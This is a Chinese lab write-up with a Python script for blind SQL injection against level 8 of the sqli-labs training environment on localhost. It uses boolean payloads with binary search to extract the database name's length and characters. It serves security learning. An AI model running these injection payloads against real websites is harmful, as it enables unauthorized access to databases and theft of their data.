sqli-labs 第八关盲注python脚本

目录

​编辑

判断库名

1.库名长度

2.库名


复制代码
import requests
import math

url = "http://127.0.0.1/Less-8"

def dblength():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

def dbname():
    dbname = ''
    length = dblength()
    for i in range(1, length + 1):
        low = 32
        high = 126
        flag = 0
        while low <= high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
            data = {'id': payload}
            res = requests.get(url, params=data)
            if 'You are in...........' in res.text:
                low = mid
            else:
                high = mid
            if mid == flag:
                dbname += chr(math.floor(mid + 1))
                break
            flag = mid
        print(dbname)
    return dbname


print('dbname is', dbname())

判断库名

1.库名长度

当大于一个不存在的长度的时候,就不会回显:

但是这个长度存在的话,会返回一个"You are in.........":

所以payload是1' and length(database())>{i}--+

复制代码
def length():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

2.库名

长度已经得出来了,然后就一个字符一个字符的判断是什么:

复制代码
payload:1' and ascii(substr(database(),1,1))>33--+

1.用ascll码对应字母数字,且范围是32-126

2.当没有返回值的时候就说明等于而不是大于,就得出值了。

3.加上二分法判断,比直接遍历要快

相关推荐
bj_zhb4 小时前
图片的base64表示
python·llm
飞Link4 小时前
【Django】Django 调用外部 Python 程序的完整指南
后端·python·django·sqlite
半夏知半秋4 小时前
Elasticsearch Query DSL 指令整理
大数据·数据库·笔记·学习·elasticsearch·搜索引擎·全文检索
周杰伦_Jay4 小时前
【Java集合与线程池深度解析】底层原理+实战选型+避坑指南(附代码)
java·开发语言·python
元气满满-樱4 小时前
SQL语句***重点
数据库·sql
doris6104 小时前
设备点检、保养、维修一站式解决方案
大数据·数据库·人工智能
数据库学啊4 小时前
车联网时序数据库哪家专业
数据库·时序数据库
一人の梅雨4 小时前
淘宝关键字搜索接口深度解析:从动态策略适配到商业数据重构
python·重构
半夏知半秋4 小时前
Elasticsearch专用的ES|QL语法指令整理
大数据·数据库·elasticsearch·搜索引擎·全文检索
DBA小马哥5 小时前
信创背景下国产数据库选型指南:聚焦Oracle迁移场景的深度对比
数据库·oracle